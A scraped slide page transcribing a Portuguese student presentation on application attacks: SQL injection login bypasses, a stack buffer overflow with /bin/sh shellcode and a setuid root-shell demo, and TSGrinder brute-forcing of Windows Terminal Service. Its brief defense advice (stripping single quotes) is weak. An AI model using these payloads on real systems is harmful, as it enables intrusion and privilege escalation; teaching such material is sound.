Ataques à Aplicações Prof.: Márcio Aurélio R. Moreira

Slides:



Advertisements
Apresentações semelhantes
Criando aplicações WEB
Advertisements

(Buffer Overflow…) Tópicos de Engenharia de Computação B
Instalação e Configuração
C/C++ para Sistemas Operacionais Professor: André Luis Meneses Silva /msn: Página:
Microsoft Operations Manager (MOM) 2005 Visão geral técnica do MOM 2005 Alexandre Nakano MCSA+Security Brás & Figueiredo Informática.
BD em.NET: Passo a passo conexão com SQL Server 1º Semestre 2010 > PUCPR > BSI Bruno C. de Paula.
Exploits Nome:Arlindo Leal Boiça NetoRA: Clarice C. Calil MarafiottiRA: Rafael Santos RibeiroRA: Thiago Y.I.TakahashiRA:
Banco de Dados Bruno Rafael de Oliveira Rodrigues.
Alocação Dinâmida de Memória
Distributed File System “SISTEMA DE ARQUIVOS DISTRIBUIDOS”
AULA – Linguagem C – Vetores, Ponteiros Estruturas
Material III-Bimestre Wagner Santos C. de Jesus
YACC.
Universidade Federal do Espírito Santo
Sincronização de Processos (3)
ou Stack Overrun ou Stack smashing
GERENCIAMENTO DE REDES
Emitindo seu Certificado Digital
Segurança em Web 2.0 Paola Garcia Juarez
Introdução a JDBC Eduardo Martins Guerra Instituto Tecnológico de Aeronáutica Curso de Pós-Graduação em Engenharia de Software Programação Distribuída.
Segurança em Aplicações 5. Melhores Práticas de Programação
Cuide da informação, ela é o bem mais precioso de sua empresa.
Especialização em Segurança da Informação Segurança em Aplicações 5. Melhores Práticas de Programação Márcio Aurélio Ribeiro Moreira
SQL Injection.
Aula prática 9 Alocação Dinâmica Monitoria de Introdução à Programação
Aula PHPdoc Prof. Naércio Filho Técnico em Informática
Curso de Nivelamento LCG
1 Ponteiros Ponteiros são variáveis que guardam localizações em memória. A declaração de uma variável ponteiro x para um dado tipo type é type *x; Essa.
Manual - Bikesys Versão 1.0 – Beta Março 2013.
Framework gpnet.
Linguagem de Montagem.
Arquitecturas de extensão do servidor HTTP CGI | ISAPI : ASP, ASP.NET Programação na Internet Secção de Programação ISEL-DEETC-LEIC Luis Falcão -
CADEIA DE CARACTERES (Strings)
Segurança e auditoria de sistemas Carlos Oberdan Rolim Ciência da Computação Sistemas de Informação.
Laboratório de Programação I Carlos Oberdan Rolim Ciência da Computação Sistemas de Informação.
Segurança em Aplicações 3. Principais Ataques
Como fazer um SQL Injection Marco Ferreira Rui Cunha
Treinamento AJAX Segurança
Linguagem de programação I A Carlos Oberdan Rolim Ciência da Computação Sistemas de Informação.
O Portal do Estudante de Computação
ASP (Active Server Pages)
Explorando vulnerabilidades em REST (Representational State Transfer)
Acessando MySql e Postgre
Treinamento sobre SQL.
Vetor Prof. Guilherme Baião S. Silva Adaptações:
FTIN FORMAÇÃO TÉCNICA EM INFORMÁTICA Módulo de Programação Prof. Flávio Dantas.
Buffer Overflows Julio Auto - jam.
Algoritmos - Profa. Alciléia1 Profa. Maria Alciléia Alves Rocha Funções em C 2011.
Estruturas de Dados Aula 8: Tipos Abstratos de Dados 30/04/2014.
Especialização em Segurança da Informação MELHORES PRÁTICAS DE PROGRAMAÇÃO Carlos/Cleofas/Rafael/StéphanasSegurança em Aplicações.
Uso de parâmetros na linha de comando. Parâmetros da função main:
Programação Orientada a Objetos - Java
Sistema de Identificação OpenID
Aula Prática 4 Monitoria IP/CC (~if669).
Estruturas de Dados Aula 6: Cadeias de Caracteres
Estruturas de Dados Aulas 3 e 4: Uso da memória e Vetores
Treinamento SQL Server
Programação de Computadores I – Arquivos
Redes Configurações e teste.
Unidade 5 – Integrando JSP e Servlets Prof.: Henrique Santos
Linguagem de programação I A Carlos Oberdan Rolim Ciência da Computação Sistemas de Informação.
Programação Computacional Aula 8: Entrada e Saída pelo Console Prof a. Madeleine Medrano
Prof. Renato de Oliveira Bastos
ACCESS AULA 01 Na primeira aula você terá uma visão geral do Microsoft Access, conhecerá sua evolução e suas versões. Ao final da aula você irá possuir.
Prof. Renato de Oliveira Bastos
Tópicos em Sistemas Operacionais (LINUX) Prof:. Msc. Arimatéia Junior Fortaleza-2011.
11 Revisão da Linguagem C Prof. Kariston Pereira Adaptado de Material gentilmente fornecido pelo Prof. Rui Tramontin (DCC/UDESC)
Banco de Dados -Aprendendo conceitos -Usando o SQL Conf para:
Alocação Dinâmica Dilvan Moreira. Objetivos  Entender o que são e como usar:  Gerenciamento de Memória  Alocação Dinâmica em C.
Banco de Dados Marcio Ferreira da Silva. PHP e Banco de Dados Uma das facilidades do PHP é na utilização dos bancos de dados. O MySQL é um banco de dados.
Transcrição da apresentação:

Ataques à Aplicações Prof.: Márcio Aurélio R. Moreira Especialização em Segurança da Informação Prof.: Márcio Aurélio R. Moreira Alunos: Claudyson Esquivel Estevan Alexandre M. R. Chaves Flávio Euripedes de Oliveira Hítalo Gonçalves Borges Pedro Henrique de Oliveira

Introdução Será apresentado alguns tipos de ataques mais usados em aplicações hoje SQL Injection Buffer Overflow Ataques à Terminal Service do Windows

SQL Injection Tipo de ataque no qual é inserido um código SQL. Pode ser usado para ataques em sites ou em aplicações locais. Grande número de serviços WEB hoje viabilizam o ataque. Top 10 2007 lista este tipo de ataque em segundo lugar. http://www.owasp.org/index.php/Top_10_2007

Lógica do Ataque SQL Injection Qualquer tipo de aplicação (WEB ou não) que possua um mínimo de segurança pede usuário e senha na tela de abertura (autenticação). Normalmente essas aplicações utilizam um banco de dados (Oracle, DB2, Sql Server,etc) com uma tabela com usuario e senha.

Lógica do Ataque SQL Injection Instrução interna: select usuario, senha from Users where usuario=' & cUser & ' and senha=' & cSenha & ' Não existe nenhum problema com a instrução, funciona perfeito.

Lógica do Ataque SQL Injection Se digitarmos Flavio no usuário e UNIMINAS na senha a instrução SQL será a seguinte: select usuario, senha from Users where usuario=‘Flavio' and senha=‘UNIMINAS' As aspas delimitam os valores recebidos pelas variáveis.

Lógica do Ataque SQL Injection Se de propósito digitarmos o seguinte no usuário e senha: ’ or ’1=1 A instrução SQL ficará da seguinte maneira: select usuario, senha from Users where usuario=‘’or’1=1’ and senha=‘’or’1=1’

Lógica do Ataque SQL Injection Interpretando a instrução temos o seguinte: Me retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então todos usuários são validos). O mesmo raciocínio vale para a senha . Provavelmente entraremos no sistema como o primeiro usuário da tabela.

Lógica do Ataque SQL Injection O pior é que quando o programador criou os usuários da tabela, provavelmente o primeiro usuário será ele próprio e ainda com privilégio de administrador.

Lógica do Ataque SQL Injection Outro caso é quando queremos entrar com o username de uma determinada pessoa. Colocamos o nome do usuário e logo em seguida a instrução mágica anterior. O SQL entenderá que deverá retornar o usuário informado e que tenha uma senha vazia ou verdadeira, ou seja ele irá ignorar a senha e apontará para o registro que o username é igual ao informado.

Lógica do Ataque SQL Injection Outro tipo de injeção SQL é quando não sabemos o nome do usuário mas sabemos que o site tem muitos cadastros. Colocamos ’ or ’1=1 no usuário e chutamos uma senha como 123456, 123123,123321. Num site com mais de 200 cadastros é 90% de certeza que alguém cadastrou uma senha destas.

Lógica do Ataque SQL Injection Outro forma de ataque seria usar os caracteres -- no final do campo: Usuário: admin’-- Senha:xyz Você provavelmente conseguirá acesso como admin, levando-se em conta que a maioria dos cadastros possuem o usuário admin. O caractere -- especifica pro sql que daquele ponto em diante tudo é comentário.

Lógica do Ataque SQL Injection A instrução ficará dessa maneira: Select * from usuarios where username=’admin’ -- ‘ and senha=’xyz’ “ A partir dos -- tudo virou comentário.

Defesas deste tipo de ataque A forma mais fácil de conter esse ataque seria tratar o caractere da aspa simples dentro dos campos de usuário e senha, não deixando ele estar contido nesses campos.

Buffer Overflow O que é o Buffer Overflow? O seu surgimento. Qual o intuito de ataques do tipo Buffer Overflow?

Lógica do Ataque Buffer Overflow Como explorar o Buffer Overflow? #include <stdio.h> #include <string.h> main(int argc, char *argv[]){ char buffer[512]; if(argc < 2){ printf("Programa bugado!!n"); printf("Uso: %s n",argv[0]); exit(0); } strcpy(buffer,argv[1]); printf("Voce digitou %s!!n",buffer); return 0; }

Lógica do Ataque Buffer Overflow Como tirar proveito do Buffer Overflow O endereço de retorno. O overflow A inserção de shellcode. Elevação de privilégios na aplicação.

Modelo usual de memória DATA (Stack e Heap) .BSS (Heap) .TEXT

Stack Overflow Como se dá a utilização da pilha no sistema operacional? Como funciona o Stack Overflow?

Stack Overflow Exemplo de stack overflow #include <stdio.h> #include <string.h> char shellcode[ ] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; }

Stack Overflow /* Compilando */ seg@uniminas:~$ gcc bof.c seg@uniminas:~$ su Password: seg@uniminas:~# chown root.root a.out seg@uniminas:~# chmod u+s a.out seg@uniminas:~$ whoami seg seg@uniminas:~$ ./a.out sh-2.05$ whoami root

Defesas de ataques do tipo Overflow A melhor forma de evitar ataques do tipo buffer Overflow é um bom projeto estrutural da programação da aplicação, atentando-se a condições de testes e homologações em diferentes ambientes.

Ataques em Terminal Service

Características quanto ao uso e importância a aplicações estão adotando o meio de Terminal para maior praticidade nos recursos de rede poder de centralização e traçamento de perfis que os usuários podem ter redudância e balanceamento, este serviço pode atender bem, na qual usando o próprio serviço de LB (Load Balanced) da Microsoft pode-se obter recursos nas aplicações Thin Clients que pode facilitar nos investimentos em Hardware de estações

Característica de Ataque ao TS Exesso de conexões Brute Force (MITM RDP) Link com trafego além do normal Acesso de usuarios que não existem Senhas de conexões expiradas por erros Request Deny Of Service Cain & Abel (Também é possível realizar um Main The Midle no RDP)

Dados importante referente ao Request Deny Of Service O xforce database da ISS aponta a vulnerabilidade Request Deny Of Service no Terminal Service de 16 de Julho de 2006, ela afeta inclusive windows server 2003 com SP1.

Plantaformas Afetadas Windows 2000 Server SP 4 Windows Server 2003 Any version Windows Server 2003 Itanium Windows Server 2003 SP1 Windows Server 2003 x64 Edition Windows XP Pro x64 Edition Windows XP SP1 windows-rdp-dos (21407)

Usando o TSGrinder Usage: tsgrinder.exe [options] server Options:   Options:   -w dictionary file (default 'dict')   -l 'leet' translation file   -d domain name   -u username (default 'administrator'   -b banner flag   -n number of simultaneous threads   -D debug level (default 9, lower number is more output) Exemplo:   tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1

Métodos para aperfeiçoar a Segurança Existe uma ferramenta chamada 2x SecureRDP freeware que se propõe basicamente a controle de acesso, muito semelhante ao controle de MAC Address de um Access Point Wireless. A técnica bem interessante é usar SSL para rodar o Terminal Service, garantindo processo de comunicação mais limpa e segurança. http://www.microsoft.com/technet/prodtechnol/windowsserver2003/pt-br/library/ServerHelp/a92d8eb9-f53d-4e86-ac9b-29fd6146977b.mspx?mfr=true Msgs de Logons Autorização por horários Determinação de acessos por políticas Solução futura com o Terminal Service Gateway no novo Windows Server ( similar ao da citrix )

Topologia mais robusta em SSL

Modelo de TS com o novo Windows Server